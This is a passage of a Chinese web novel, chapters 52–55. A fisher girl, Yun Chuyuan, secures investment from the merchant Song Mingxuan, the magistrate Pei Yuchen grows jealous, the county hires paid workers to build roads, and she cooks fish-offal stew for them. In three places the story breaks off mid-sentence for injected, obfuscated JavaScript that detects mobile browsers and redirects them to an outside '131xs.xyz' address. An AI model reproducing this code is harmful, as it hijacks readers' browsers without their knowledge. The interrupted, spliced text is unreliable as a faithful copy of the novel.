严清肃到了江南后,给裴昱臣送来了一封信,江南的形势不容乐观,杜青岩联合许多富商私下里贩盐,打压那些不愿同流合污的商人,宋家就是他们的重点打击对象。 宋明轩面露迟疑,这次合作,他自认为是屈尊降贵,要不是江南许多富商在杜知州的示意下联手对付他们宋家,他怎会病急乱投医,来这临海县另辟蹊径。 裴昱臣刚想再说些什么,青竹急匆匆地跑了过来,“大人,陈县丞有事找您。” 见裴昱臣眼神犹豫,云楚沅立马劝道:“裴大哥,陈县丞找你想必是有要事,你先去忙吧,我可以自己带宋公子去看我们的滩涂养殖。” “好,你们先去,我随后就来。”裴昱臣点点头,又不放心地对青竹叮嘱道:“你跟着云姑娘一起去,有什么事就立刻来回禀我。” “是,大人。” 马车一路浩浩荡荡地将他们送至小渔村,云楚沅把宋公子带到了小渔村的海边。 这片广阔无垠的滩涂之上,一群渔民们以海为田,正在劳作。 他们头戴宽边草帽,背上扛着沉甸甸的工具,在这里挥洒着汗水,一双双被海水浸得粗糙的手,正忙碌地分拣着收获。 粗壮的竹竿插在近海的滩涂中,用绳索紧紧固定,筏架上挂满了笼子、扇贝串,它们随着海浪轻轻摇曳。 52. 吃醋 趁着涨潮,村里的男人们纷纷划着小船出海,去查看养殖区的情况,检查绳索是否牢固,修补被海浪损坏的渔网。 有人站在简易的木筏上,熟练地检查附着在扇贝串上的海蛎子苗;有人将一桶桶饵料撒向鱼塘,引得鱼群纷纷聚集过来抢吃食。 养殖户们的脸上洋溢着热忱和期盼,小船在波光粼粼的海面上飘荡,宛如一片片随波起伏的树叶,承载着他们的生计与希望。 “宋公子,如何?” 海风轻拂面庞,好似灵动的手指轻柔地穿过发丝,云楚沅深吸了一口气,海水特有的咸湿味闯入鼻腔,清新的空气令她心旷神怡,原本急切的心渐渐平复下来。 宋明轩微微闭上眼睛,享受着海风带来的丝丝凉意,“云姑娘长大的地方当真令人惊喜,怪不得能养出你这般钟灵毓秀的女子。” 再度睁开眼,宋明轩目光如炬地扫视着海畔那幅生机勃勃的画面,心下不由感叹,云姑娘不像他想象中的那样好糊弄,反而比许多男子都要聪慧。 直到此刻,看到这一大片欣欣向荣的养殖区,他因云楚沅是名女子而不自觉流露出来的轻视荡然无存。 宋明轩转身面向云楚沅,郑重地俯身致歉:“云姑娘,对不住,在下不该狂妄自大,对你的提议置若罔闻。家父说的有理,人外有人,天外有天。云姑娘和临海县的未来不可估量。” 云楚沅杏眼微微睁大,她没想到宋公子会主动承认错误。 从见面起,她隐隐约约感觉到对方没怎么将她放在眼里,这在云楚沅的意料之中,她一个普普通通的小渔女哪能指望得到富家公子的青睐。 更何况这个朝代的男子多多少少都有点大男子主义,云楚沅自觉没那么大的魅力让人一见面就能打破传统观念,她需要的不过是一个可以展示能力的机会。 好在裴昱臣帮她争取到了,好在宋公子不是那类迂腐之人。 云楚沅长舒一口气,看来劝说宋公子投资这事十拿九稳了。 “不过……”宋明轩直起腰来,面色严肃。 云楚沅的心里“咯噔”一下,不是吧,你说话怎么还带大喘气的! 宋明轩不知道因为他的话云楚沅心里七上八下的,他神情认真地阐述自己的观点:“云姑娘,恕我直言,你的想法有些过于天真。” “……”悬着的心还是死了,云楚沅耸拉着脑袋,十分沮丧。 “你在信上扬言我在临海县投资是稳赚不赔的买卖,你说宋家可以来这里开布庄、开茶肆、开杂货铺,临海县百姓都会光顾。”宋明轩将云楚沅信上的内容简单概括了一下,“我只看到你说投资就一定能赚银子,可是忧患之处我一无所知。” 云楚沅默然,她承认自己太过理想化,写给宋公子的信只一味地阐述好处,任何风险都没提及。 做生意怎么可能会一帆风顺,她只不过是仗着前世的记忆走在了别人前头,稍有不慎,她的优势便会化为乌有。 一个新行业兴起,势必会有许多人加入进来想分一杯羹,首先提出想法的人只会在时间上占点优势,可却没有试错的机会,一旦出现决策失误,便会被后头虎视眈眈的同行瓜分干净。 如今的云楚沅就是如此,想做海味商的不可能只有她一个人,云记这颗刚刚萌芽的小树苗还经不起风吹雨打。 “宋公子,是我考虑不周了。你也看到我们养殖区的情况了,我想把小渔村打造成海鲜胜地,不断向外兜售海味,吸引人来临海县游玩。这项生意很有前景,唯一需要担心的就是我能做海鲜制品别人也能做,所以必须赶在别人前头抢占市场。” 云楚沅抬起头来,认认真真地看向宋明轩:“宋公子,凭我一己之力做不到这些,我没有势力,可是你宋家有。我想请问你愿意冒险涉足新领域,日后与天南地北的富商虎口夺食吗?” 宋明轩缓缓展开手中那把精致的扇子,轻轻摇动,嘴角噙着一抹笑,“云姑娘,不要小看我们宋家,谁是虎还不一定呢。” 听了男子自信满满的话,云楚沅笑出了声:“宋公子所言极是。” “唰”的一声,宋明轩将扇子收了起来,在掌心轻拍两下,仿佛做出了重大决定,“既然云姑娘让我看到了你的决心,那我不妨给你一个承诺,只要云记一直向我提供好货,那我便为你的商行保驾护航。” 面露惊喜的云楚沅猛然抬头,方才宋明轩给她泼了盆冷水,她还以为这生意做不成了,没想到柳暗花明又一村。 “宋公子,你放心吧,我们云记的海味绝对是最正宗的,而且我的优势在于我有别人难以模仿的好手艺。” “姑娘说的在理。”宋明轩摇头失笑,这女子的自信一点也不比他少,“看来裴县令说准了,我要是没来这一趟绝对会后悔。” 两人沿着海岸走了一圈,商量好了合作的事宜,宋明轩出银子为临海县修路并开设各类店铺,而云记商行负责往各地的宋家铺子送货,即便日后有其他人想与云记合作,宋家也必须享有优先权。 “宋公子,那就预祝我们合作成功!”云楚沅眉眼弯弯,伸出了右手。 宋明轩歪头疑惑道:“姑娘这是何意?” 云楚沅这才反应过来大燕朝没有握手的习惯,她尴尬地摸了摸后脑勺,“哈哈,这是一个地方的礼节,双方达成合作之后握手,即表示友好,还表示对别人的尊重。” 宋明轩似懂非懂地点了点头:“这个礼节应当是男方之间做的吧,你是女子,我不好……” 宋明轩刚想婉拒,余光瞥到一位男子正向这边走来,他脸上露出一抹意味深长的笑,伸出手指碰了碰云楚沅还未收回去的掌心。 “既然云姑娘如此热情,那在下恭敬不如从命了。” 云楚沅恍然未觉,她还沉浸在事情办成的喜悦之中,心想,小书生知道后,还不得把她夸上天! “楚沅。” 身后传来冷冷的声音,云楚沅骤然回神,转头看去,发现是裴昱臣来了。 “裴大哥,你终于来了,我有个好消息说给你听!” 云楚沅轻轻提起裙摆,转身朝裴昱臣跑去,脚步如行云流水般轻盈,裙袂随风飘舞,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975806|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一朵绽放的繁花在风中摇曳生姿。 裴昱臣看着跑向他的女子,微微有些愣神。 女子发间的珠钗随着她的跑动轻轻摇晃,发出一阵清脆悦耳的声响,她脸上的喜悦溢于言表,双眸好似熠熠生辉的星子般璀璨。 不多时,云楚沅便来到裴昱臣的身前。 “裴大哥你猜猜我要说什么好消息?”她双手扶腰微微喘息着,胸脯上下起伏,白皙的脸蛋因激动染上了一抹红晕,宛如盛开的桃花,娇艳动人。 裴昱臣低头看向她亮晶晶的双眼,没有接话,反而拉着个脸,仿佛别人欠他钱一样。 云楚沅略微收敛笑意,忐忑不安地问道:“裴大哥,你怎么不高兴?是陈县丞和你谈的事情不顺利吗?” 裴昱臣抿了抿薄唇,冷声说道:“我不在,你和他聊得就这么开心?” 满头问号的云楚沅有些摸不着头脑,什么意思?这人不高兴是因为她和宋公子聊天吗? “裴大哥,我们两个是在说正事。” 裴昱臣的脸顿时黑了下去:“哼,什么正事需要笑着牵手的?你不知道男女授受不亲吗?而且这是你们两人第一次见面,知人知面不知心,你难道不怕他是登徒子吗?” 一连串问句“噼里啪啦”的砸向云楚沅,把她搞的眼冒金星。 “你管我?我生性爱笑,不行吗?”气呼呼的云楚沅翻了个白眼。 这人什么毛病?管天管地,还管起她和男人说话来了,不知道的还以为他这是吃醋了呢! 想到这里,云楚沅动作一顿,细细观察了裴昱臣一番,她表情微变,双手交叉于胸前,轻点着脚尖,似笑非笑地说道:“怎么,你醋了?” 裴昱臣看向云楚沅,目光中有诧异、有疑惑,还有一丝不易察觉的慌乱,“你乱说什么?我只是担心你。” 云楚沅轻迈着脚步靠近小书生,纤细的手指搭在他的肩头,目光直直望向裴昱臣的眼睛,仿佛想从那双深邃的眼眸中看出答案。 “我瞧着裴县令今日似乎有些不同寻常,你何时脾气变得这么差了?莫不是因为我与宋公子多说了两句话,你便心生醋意了?”云楚沅语气轻柔,却带着一丝调侃的意味。 裴昱臣的脸倏地通红一片,耳根泛红,他轻咳一声,“云姑娘何出此言?小生只是想提醒你,谈生意归谈生意,千万不要被男子的外表蒙骗了。” “是吗?我怎么就不信呢?”云楚沅贴近男子发烫的耳朵,说话间故意将滚烫湿热的气息喷到上面,言毕还吹了吹那只红得滴血的耳垂。 “楚……楚沅,我真的没有别的意思。” 不知所措的裴昱臣连话都说不利索了,同时他的心绪有些不平,只因方才云楚沅问他是不是醋了时,他莫名感到一阵心虚,难道他真的…… 小书生这副害羞的模样着实有趣,云楚沅止不住地发出一串银铃般的笑声,“哈哈哈,裴大哥,你还是这么经不起逗。” 裴昱臣松了一口气,还好她是在开玩笑,要不然再这么继续逼问下去,他可能真的要破罐子破摔了。 53. 修路建房 “县令大人,在下方才只是在与云姑娘握手而已。”一道煞风景的声音打破了两人四目相对的暧昧气氛。 宋明轩瞧见裴昱臣和云楚沅两人你侬我侬,故意出声打断他们,这位裴县令端着一副清冷自矜的模样让他看着十分不喜,所以就想给他添添堵。 “握手你懂吗?是谈成生意后表达友好的礼节。” 裴昱臣的眼底划过一丝不悦,这人不仅没有眼力见儿,还非常聒噪,“宋公子,还望谨言慎行,别想搞些糊弄人的小花招来诱骗姑娘。你别忘了,楚沅可是我的人。” 一对上讨人厌的富家公子,裴昱臣立马换了副表情,脸上的红晕一下子褪去,云楚沅看得叹为观止,这小书生很适合去学变脸啊。 如果说,裴昱臣在云楚沅面前是纯情的小白兔,那么在其他人面前,他便化身成了露出獠牙的灰狼。 面对裴昱臣的威胁,宋明轩不为所动,他“唰”的一下打开手中的折扇,轻轻扇动起来,发丝随风轻扬,显得随性又洒脱。 “哎呀呀,裴县令您可不要污蔑我,这礼节是云姑娘提出来的。你们二位关系亲密,难道裴大人就未曾听云姑娘说过吗?”宋明轩似笑非笑地说道。 云楚沅尴尬地快要脚趾扣地了,这可真是搞出了一个大乌龙,她的无意之举让裴昱臣误解了宋公子,他们的合作还能愉快地进行下去吗…… “裴大哥,你别说宋公子了,是我方才有些得意忘形。”云楚沅小声解释,她用手指挠了挠脸,神情很是不自在。 裴昱臣紧紧盯着云楚沅正对着他的头顶,忍住了弹她脑门的冲动,这丫头性子跳脱,总是不注意和男子保持距离,看来他回去以后得好好管一管她了。 不过那也是之后的事了,眼下裴昱臣虽然知道是自己搞错了,但他仍对嬉皮笑脸的宋明轩没什么好脸色。 “楚沅年纪小,有些事情分不清对错,难道宋公子也年幼吗?你不知道要拒绝过界的行为吗?就算楚沅有不对的地方,难道你一点错都没有吗?” 宋明轩紧盯着裴昱臣冷若冰霜的脸,心下感慨,再怎么沉着冷静的男子,一遇上与心上人有关的事,也会变成偏心的痴情种。 这要是在公堂之上,宋明轩估计自己能被这位昏了头的县令直接大刑伺候。 宋明轩打了个寒颤,更加坚定了自己不娶妻纳妾的念头,女人什么的,果然都是麻烦。 云楚沅瞧着裴昱臣疾言厉色的样子,缩了缩脖子,对着宋明轩悄悄露出一抹饱含歉意的笑。 对不住了宋公子,不是不愿帮你说话,而是生起气来的小书生连她都有点犯怵。 听着裴昱臣喋喋不休的数落,宋明轩忍无可忍,随口胡扯道:“行了行了,我根本就不喜欢女子!” “……” 气氛瞬间安静下来,裴昱臣神色怀疑地抿起了嘴,而云楚沅一下子睁大了眼,乖乖,她竟然在古代遇见了断袖! 电光火石之间,云楚沅悟了,怪不得这位宋公子总是挑衅裴昱臣,原来他是在用这种方式吸引人家的注意! 云楚沅咬牙切齿地想,好哇,你个油头粉面的公子哥,这是看上他们如花似玉的县令了!守护小书生的清白,她责无旁贷! “哼,就凭你也想觊觎我们裴县令?他可是名花有主啦。我告诉你,如果你要和我抢男人,别怪我对你不客气,咱们的生意不做也罢!” 云楚沅像是老母鸡护崽一般展开双臂挡在裴昱臣的身前,雄赳赳气昂昂,说到要对别人不客气的时候,还握住小拳头挥了挥。 裴昱臣凝视着她护犊子的模样,眼神柔成了水,他的嘴角不自觉地上扬,露出一抹温柔的笑,“楚沅,多谢你。” 这丫头,不枉他平日里对她多有关照,遇到心怀不轨之人,她能如此护着他,裴昱臣心头涌入一股暖流。 云楚沅眼神还在紧紧盯着对面的宋公子,微微偏过头去,轻声安慰身后的小书生,“昱臣,你不要怕,我会保护你的,绝不让他碰到你一根手指头。” 宋明轩只觉得自己是哑巴吃黄连有苦说不出,这真是天大的冤枉啊!他怎么会喜欢这个脾气又硬又倔的县令! “喂!你们两个够了!我说我不喜欢女子,也没说我喜欢男子啊。云姑娘你哪只眼睛看出来我相中裴县令了?” 宋明轩双目圆睁,脸庞涨红,像是被点燃的爆竹,他一边跺脚一边嘴里不停地嘟囔:“再说了,他那结实的身板一拳就能把我打倒,哪里还需要你保护他啊。” 而云楚沅和裴昱臣没有一个人听得进去他的解释,他们二人正凑在一块小声说着“你对我真好”、“这都是我该做的”这些暧昧不清的话语。 宋明轩气得跳脚,脚步不停地在原地挪移,他的双手在空中胡乱比划,仿佛是在与无形的敌人进行激烈的搏斗。 此刻的宋明轩像是吞了只苍蝇般难受,这对可恶的狗男女,搞了半天,他只是他们两人调情的一环罢了。 —— 回程的路上,宋明轩一句话都没说,眼神阴郁地盯着坐在对面的两人。 直到马车行驶到了县衙,云楚沅和裴昱臣一下车,宋明轩立刻命令车夫马不停蹄地离开临海县,他是一刻也不想在这里多待了。 云楚沅莫名其妙地说道:“这人也太没有礼貌了吧,不就是误会他喜欢你嘛,我刚想请他吃顿饭道歉呢,他怎么连招呼都不打一声就走了。” 裴昱臣毫不在意地说道:“宋公子可能有急事吧,反正他留下了银子,人在不在又有什么关系?” 宋明轩除了和云楚沅签订商行合作的契约之外,还与裴昱臣签下了投资临海县的契约。 裴昱臣在未开发的南街和北街为宋明轩划了两块地,给了他二十年的土地使用权,宋明轩爽快地付了银子。 这是在赌临海县的未来,只要这片临海之地如云楚沅所说的那般蒸蒸日上,这项投资确实是稳赚不赔。 “是哦,十万两银子宋公子说掏就掏,还真是有钱啊。”云楚沅感慨道,也不知道她什么时候能赚到这么多钱。 “十万两便宜他了,我估计过个两三年他就能回本。”裴昱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981097|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣对自己和云楚沅很有信心,有了银子,临海县繁荣起来指日可待。 一回到县衙,裴昱臣立马将陈县丞和梁捕头找来商量修路和建房的事宜,云楚沅作为计划的提出者,也留下来旁听。 “修路还不简单,征徭役不就行了。”梁捕头的想法很简单,官府征召平民来做劳力是天经地义的事,每家每户出两个壮年男丁,很快就能修好路。 陈县丞摇了摇头说道:“如今临海县的百姓都一头扎进做买卖的浪潮里了,东市挤满了卖各种小吃的商贩,恐怕没人愿意来做苦力。” 云楚沅却觉得这不是个好兆头,不是什么人做生意都会成功的,更何况如今竞争这么激烈,过不了多久就会有人发现根本挣不了几个铜板,到时候可能还会埋怨她这位领头人。 裴昱臣的手指有节奏地敲击着桌面,“不妥,强行征徭役可能会令百姓们心生不满,有可能会出现过激行为。” 陈县丞也不赞同如此行事:“裴大人说的是,我们修路是要做利于百姓们的好事,绝不能事没办成就引起了众怒,这岂不是本末倒置。” “那你们说该怎么办?”梁铺头也知道征徭役这事是百姓们深恶痛绝的,可大兴土木肯定是要许多人参与进来。 旁听的云楚沅默默举起了手:“我有点想法不知当讲不当讲。” 支着下巴思索的裴昱臣闻言看向她,目光和煦地说道:“楚沅,你有什么话直说便是。” 眼瞧着陈县丞和梁捕头并未因为她的插话而面露不悦,云楚沅定了定心神,开口说道:“征徭役之所以令百姓们怨声载道,盖因其具有强制性和无偿性,这种吃力不讨好的事没有人愿意做。那我们不妨将它变成自愿的、有偿的。” 裴昱臣挑了挑眉,有些明白了她的意思,“你是想为愿意来做工的人发银子?” 云楚沅点了点头:“这样就不是征徭役了,而是雇佣,所有参与修路建房的百姓按劳分配,做了多少个时辰的工,便给多少钱。” 见三位大人若有所思,云楚沅继续说道:“为了提高做事效率,咱们可以划分早中晚三个时间段的班次让他们轮流做工,这样工匠们不会太过劳累,还能自由安排时间。” 裴昱臣的眼中闪过一丝赞许之色:“可行,县城里本来就有专门修建房屋的工匠,以给官府做工的名头招揽工匠肯定能吸引到不少人,而且还能让不少游手好闲的人有事做。” 云楚沅笑着说:“要不是有宋公子提供的一大笔银子,这个方法也行不通。” 陈县丞迟疑道:“云姑娘的法子好是好,可是我们需要上千名工匠,每人顶多发放三百文月钱,这点铜板也只能招来一些年纪大或者腿脚不好的人吧。” 陈县丞的顾虑不无道理,县衙雇那么多人干活,肯定是要控制成本的,不可能掏出大把银子来发工钱,这样招来的人很可能都是些找不到正经工作的男子。 云楚沅想了想,说道:“月钱不多,但咱们可以发福利啊。这样吧,所有来做工的百姓我云记把他们一日三餐的伙食全都承包了。” 54. 鱼籽鱼白鱼泡 在座的三位大人一听到云楚沅打算慷慨解囊、为他们分忧时,不免有些愣神。 裴昱臣看向她的眼神复杂而又欣慰:“楚沅,你有这份心是好的,但我也不能白白让你出钱又出力。倘若你想负责工匠们的伙食,那我定然是要给你银钱的,或者你可以提出一些别的要求。” “咱俩谁跟谁啊,不必如此。”云楚沅眼珠子一转,想起了什么似的又重新开口,“不过嘛,你要是真想答谢我,那便在南北两街的房屋盖好后多给我留几间铺子和房子吧。” 云楚沅想起上回去牙行买房无功而返的事情,便想着趁此机会,让裴县令给她开一开后门,提前预定好几间房屋。 她有预感,临海县的新房屋一旦建成,必然十分抢手,以后的房价想必会节节攀升。 裴昱臣轻笑一声:“你不说,我也会让你先挑的。” 云楚沅满意地点了点头,她为他出谋划策,他给她行个方便,他们两人行事一向默契。 “诶,正好你可以把这个做成福利啊。百姓们不是沉迷做生意吗?咱们可以统计出来每家每户的男丁做工的工时,排名靠前的奖励他们优先买新铺子的权利。” 云楚沅灵机一动,又想出了妙招,她身子坐直,双手合拢,为自己有个聪明的脑袋瓜而感到骄傲。 这下子,连默不作声的陈县丞都不由出声感叹:“云姑娘果然聪慧。” 裴昱臣负手而立,浅笑着望向云楚沅,眼神中满是赞赏之意,他出声打趣道:“你呀,古灵精怪。” 云楚沅故作娇羞地将身子稍稍扭向一侧,左手轻轻遮住嘴,右手朝着裴昱臣摆了一下,“哎哟~裴大人不要酱紫夸人家啦,人家会害羞的啦!” “咳,陈县丞和梁捕头还在呢。”裴昱臣左手握拳抵在唇边,轻声咳嗽了两下,他脸颊微红地朝着搞怪的云楚沅使了个眼色,示意她注意分寸。 云楚沅反应过来后立刻变得端庄,转过身去正好对上梁捕头瞪大的双眼,她不好意思地低下了头。 有些话对着小书生便能肆无忌惮地说出口,可若是被别人听见了,云楚沅又觉得浑身不得劲。 “哎哟哎哟,我瞎了,我瞎了!我什么都没看见!”梁捕头收起张大的嘴巴,立马表情夸张地捂住双眼,恨不得换一双没看过这幅画面的眼睛。 老天爷,他们严肃正经的县令大人私下里竟然会对着女人脸红,简直叫人没眼看。 他早该想到的,上次在书房撞破裴县令和云姑娘的好事时,裴大人便是以柔弱之姿被云姑娘压着。 梁捕头自觉发现了裴县令的秘密,怕他秋后算账,只能选择装傻充愣了。 裴昱臣皱着眉头看向吱哇乱叫的汉子,还以为他是在嫌弃云楚沅的做作,便开口说了一句:“少见多怪。” 梁捕头倒吸一口凉气,没想到裴县令对他们女强男弱的相处模式适应良好,甚至不以为耻反以为荣,他不由佩服地双手抱拳,“裴大人心境豁达,在下佩服。” 裴昱臣收回视线,和陈县丞继续商量起了后续事宜。 只有云楚沅好像隐约明白了梁捕头话中的意思,她伸手捂住发烫的脸,默默想着,死道友不死贫道,梁捕头的注意力都在裴昱臣身上,肯定能忘记自己方才的做作之态。 —— 清晨,县衙大门“吱呀”一声被打开,两名衙役手里提着糨糊桶和一叠新鲜出炉的告示,走到衙门前的公告栏前,将一张张写满字迹的纸张仔细张贴上去。 衙役们张贴告示的举动很快引起了周围百姓们的注意,人群中不知是谁先喊了一声:“快来看,县衙贴出了招工的告示!” 这声呼喊如同投入平静湖面的一颗小石子,瞬间激起层层涟漪。 原本稀疏的人群迅速聚拢过来,众人你推我搡,都想凑近些,看清楚告示上究竟写了些什么。 一位头戴斗笠的老汉,粗糙的手提着装鱼的网兜,眯缝着眼努力辨认着告示上的字。 旁边站着个年轻书生,他开口念起了告示上的大字:“临海县为兴土木、利民生,欲行修路、建房之工程,现广招壮丁若干,凡身强体健者皆可报名,按劳计酬,工钱从优。” 书生念完后,为众人解释:“诸位乡亲,告示上说县衙要招募壮劳力去修路和建房,只要身子骨硬朗,能吃苦干活的都可以去。” 满脸皱纹的老汉听明白后,喃喃自语道:“修路、建房……这是要把咱这小地方好好整顿一番啊。” 听了书生的话,人群中出现一阵骚动,有人兴奋,有人担忧。 一个身材魁梧的汉子捋起袖子,大声嚷嚷:“这可是个赚银子的好机会,我力气大,想去试试。” 几名妇女围在一起窃窃私语,有人面露忧愁:“我家男人要是去了,家里的活可就全落在我一个人身上了。” 旁边的女人回道:“话虽如此,可这工钱给得还不少呢,到时候便能攒下些银子给娃儿们置办点东西。” “你说的也是。”女人脸上的神情十分矛盾,她既渴望改善生活,又担心负担会加重。 那位年轻书生又突然出声:“咦,这下面还有两行小字呢。做工期间云记食肆每日供给三餐,并且工程结束后,工时排名靠前的几户人家能优先买新房屋。” 这下子原本犹豫的或是根本不想参加的人,全部炸开了锅。 “云记食肆负责伙食?那干活的工匠们有口福了。” “嘿,在云记用一顿饭最少要十几文钱,我平日隔三差五才会去一趟打打牙祭,这些工匠竟然可以不花银子日日便能吃,我都想去做活了。” “嘶,这伙食钱若是每日算二十文,那一月下来,岂不是能省下六百文?这比工钱还要多好多啊!” “你不能这么算呀,工匠的伙食哪能比得上食肆里面买的,说不定就是些素菜。” “素菜又怎么了?只要是云记厨子做的,我都爱吃。” 除了这些被伙食吸引的百姓,其他人的注意力全都放在了第二则消息上。 “天哪,做工多能优先选房,这是真的吗?我想做生意正愁找不到铺子呢,这么好的机会,我一定要喊上兄弟们一起去。” “我们家可是还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990337|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分家呢,壮年男丁有十好几个,我们一大家子去做工,工时肯定能排在前头,到时候正好可以买新房分家!” “啧,看来不去是不行了,我那婆娘天天嚷嚷着要盘铺子赚大钱,让她知道这事,还不得乐开花。” 围观的人越来越多,议论声也愈发嘈杂。 有人谈论着做工的时间长短和房屋的规模;有人分析着放弃其他营生去做工匠的利弊;还有人盘算着自己一家人能做多少工时、是否能获得选房子的资格。 一名老者走背着手了过来,他看了看告示上的内容,摸着花白的长须说道:“县令此举乃是为了让百姓们出行更方便、改善大伙儿的居住条件,对咱们都有益处。” 这话引起了大伙儿的共鸣,是呀,自从裴县令来到他们临海县,一桩又一桩好事接连发生。 “裴县令大恩大德,草民没齿难忘!”一位男子情绪翻涌,“扑通”一声跪倒在地,向着县衙的方向不停叩拜。 方才像是一锅沸水的热闹场面瞬间沉寂了下来,百姓们皆被热泪盈眶的男子感染,纷纷跪下身子,磕头高呼“青天大老爷”。 躲在门后的云楚沅看到这副场景,依稀回忆起了裴昱臣刚来临海县不久斩杀土匪后,位于高台之上意气风发的模样,那时的百姓们也是如此称颂他。 如今的临海县即将迎来翻天覆地的变化,云楚沅抬起胳膊轻轻碰了碰身旁的男子,“裴老爷感受如何?” 裴昱臣静静注视着门外乌泱泱跪了一大片的人,沉默了片刻后,轻声说道:“裴某,不虚此行。” 也许京城人士会为他这位到偏远之地赴任的新科状元而惋惜,也许朝中大臣会为他这个油盐不进的小子吃挂落而嘲笑。 可裴昱臣却觉得,来临海县做县令的日子令他受益匪浅。他见识到了平民百姓的艰苦、体会到了渔民们收获的喜悦、感受到了权势之人的欺压,同时还从一名女子身上学到了破除困境、革新变旧的妙计。 的确是不虚此行。 —— 短短半月的时间,县衙招齐了工匠,夯土筑路、建屋造房如火如荼地进行着。 云楚沅也开始忙碌了起来,她让湘香馆的女掌柜带人去城外施工的地方搭起了棚子做大锅饭,而云楚沅自己带着钱婶负责城内建房子的工匠们的伙食。 这段时日,临海县的百姓们都在兴致高昂地围观即将施工的地方,而城中的青壮年男子大都加入了施工队。 饭馆和食肆光顾的客人少了,云楚沅抽调出几个人来也不会影响店内的生意。 “楚沅,你要的东西,阿汤送来了。”钱婶从驴车上搬下来一个又一个大桶。 云楚沅从临时搭建的棚子里走了出来,“婶子辛苦了,快到午时了,咱们抓紧时间做饭吧。” 钱婶摸了把头上的汗水,犹豫地说道:“楚沅,这些鱼籽、鱼白、鱼泡能行吗?煮出来能吃吗?” 她听说云楚沅想用鱼杂做菜时,便很担忧,怕工匠们有怨言。 云楚沅笑着说道:“婶子,我的手艺你还信不过吗?放心吧,保准好吃!” 55. 鱼杂煲 承包成百上千号人的伙食可不轻松,云楚沅每日天不亮便要起床,赶到食肆里和钱婶一块准备食材。 为了节约成本,云楚沅不得不另辟蹊径,朝食可以做个玉米馍馍、煮点汤汤水水应付过去,可中午这顿必须要让工匠们吃饱、吃好。 云楚沅特意让钱婶回了趟小渔村,挨家挨户收来那些村民们用来喂鸡喂鸭的鱼杂,她打算用这些便宜货做出美味的鱼杂煲。 做鱼杂煲必须选用新鲜的鱼杂,云楚沅看了看桶子里的货,紧密簇拥在一起的鱼籽饱满圆润,泛着油亮的光泽,她用手轻轻摁了摁,能感受到回弹。 下一个桶里的鱼白像是细腻柔滑的凝脂,质地柔软,颜色粉嫩,稍一拨动,鱼白便颤巍巍地晃了起来。 鼓胀饱满的鱼泡像是一个个小气囊,摸起来滑溜溜的,里面储存着满满的胶原蛋白。 云楚沅和钱婶一起处理桶里的鱼杂,用锋利的剪刀仔细剔除附着在鱼籽上的血丝和杂质。鱼白极嫩容易破碎,将其平铺在案板上,用刀片慢慢刮除上面残留的薄膜。 鱼泡的表面扎上几个小洞排出部分气体,以防烹饪的过程中爆裂,然后将其焯水备用。 食材准备就绪后,云楚沅起锅烧油,准备做鱼杂,她先将提前切好的姜片、蒜瓣和茱萸放入锅中煸炒出香味。 待那股刺激人嗅觉的辛香传开,候在一旁的钱婶便把处理好的一桶桶鱼杂缓缓倒入大锅中。 锅里瞬间响起“滋滋啦啦”的声音,鱼杂与热油碰撞在一起,迸发出更加浓烈的香气。 云楚沅挥动着锅铲不断进行翻炒,在高温的作用下,鱼籽的边缘卷曲,渐渐变得金黄酥脆,鱼白收缩紧实,鱼泡慢慢膨胀变大。 下一步,沿着锅边淋入酱油翻炒上色,加黄酒去腥,再倒入清水没过所有的食材,大火烧开后转小火慢炖。 汤汁逐渐变得浓稠后,放入切好的豆腐、蘑菇、青菜等配菜继续炖煮,汤汁翻滚涌动,裹挟着鱼杂的鲜香向四周飘散。 不远处干活的工匠们嗅着这股香味纷纷咽起了口水,时不时往大锅的方向偷瞄。 鱼籽经过长时间炖煮愈发饱满多汁,嫩呼呼的鱼白和豆腐混在一起,让人分不清谁是谁,鱼泡吸饱了汤汁后,变得鼓鼓囊囊。 待到火候恰到好处时,云楚沅揭开锅盖,一股热气扑面而来,这一大锅正在炖煮的鱼杂煲散发出诱人的味道,浓郁又独特的鲜香直钻鼻腔。 关火前,云楚沅又加了点盐和胡椒粉调味,最后滴上几滴胡麻油,撒上一把芫荽便大功告成了。 钱婶看着锅中“咕嘟咕嘟”的鱼杂,眼神惊喜,“楚沅,这鱼杂瞧着还挺不错。” 云楚沅给她盛了一小碗,“婶子,尝尝味。” 钱婶夹起一块鱼籽放入口中细细咀嚼,颗粒在齿间爆开,味道咸鲜。 “嗯,好吃!”接着她又尝了尝其他食物,鱼白细腻弹牙,鱼泡外酥里嫩,配菜也都很入味。 云楚沅见钱婶吃得眉飞色舞,就知道这鱼杂煲的味道不赖。 “开饭了!” 